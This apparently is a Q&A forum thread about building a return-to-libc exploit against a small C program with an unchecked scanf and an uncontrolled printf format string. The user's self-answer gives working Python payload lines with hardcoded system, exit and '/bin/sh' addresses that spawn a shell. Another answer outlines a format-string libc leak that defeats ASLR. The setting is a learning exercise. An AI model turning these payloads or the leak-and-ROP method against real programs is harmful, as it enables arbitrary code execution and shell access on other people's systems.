Reputation: 785
I am trying to implement return-to-libc attack on the below code using format string attack vector.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
I have figured out the address of the system() using p system
command in gdb
. And by inspection of the stack frame using x/500s $esp
, I figured the environment variable's address which contains \bin\sh
.
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
With these things in place, I constructed the below format string:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
where 0xffffcdbc - 0x4
is the local address which contains system address 0xf7e2cda0
value.
I compiled the program using gcc -m32 -fno-stack-protector -o sh sh.c
and ran it using gdb sh
. Upon execution, on entering r<inp
, I get the below output
As seen above, there's some error command which is shown and I get to the shell only after running r
command again. Could someone explain what am I missing here so that I get to the shell directly?
Also, when I tried to execute the program above without gdb ( by ./sh < inp
) by offsetting the gdb address, I get a segmentation fault error. I am assuming this can be solved once the above fix gets corrected.
Kindly answer by giving a complete working exploit - most of the tutorials online use argv[1]
in explaining the similar problem but I wish to get the exploit working without the use of arguments.
Thanks!
Upvotes: 5
Views: 8930
Reputation: 785
Finally after some days of research, I have figured out the problem. It wasn't that the address of the /bin/sh
string was wrong or that you only need a \bin\sh
string address location from libc
library to get this to working, but all that you need is a nop sled of 4 bytes at the end of the address of the string that you have placed. So, in essence, my attack string would like this
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp
or in the cases where you are writing a /bin/sh
directly into your buffer, something like the below string would work
python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp
where \x5c\x73\x68
(hex for \bin\sh
) is stored in the buffer at \x84\xce\xff\xff
Note: I sometimes also observed that the addresses that you write at a specific location don't somehow show up. It is in these cases that you should do padding to ensure that everything gets stored at their respective locations.
Upvotes: 1
Reputation: 398
First, you're constructing a pure stack-base overflow, not format string payload.
The libc function system()
would work with gdb even if its parameter is not valid. For example, the call system("asdasd")
still gives you a shell in gdb (with error messag e pop out, that's what you've seen), so your payload basically didn't locate the /bin/sh
correctly.
You should put a padding between the address of system
and the address of /bin/sh
(a lot of pwn beginners forget this), e.g.
print 'A'*padding_to_ret + addr_system + padding + addr_binsh
For x86 calling convention, Once a function is called, the arguments are push, next the return address, so when ROP-chain take
system
as return,$esp
is now pointing to the position atpadding
, so the parameter/bin/sh
($ebp+0x4
) should be right next topadding
.
For the last you mention you want to construct a payload without argv
helping, yes it's possible, but you need to have a chance to leak libc address to defeat ASLR to get the address of /bin/sh
(you can find this string in libc).
Take the code you provided as example :
scanf("%s, &a)
%x%x
or %9$x
for next printf
to leak some libc address on the stack.main
to do another reading.printf(a)
system_addr = libc_addr + system_offset
.scanf("%s, &a)
system
and /bin/sh
, construct the ROP chain above to gain control.Upvotes: 3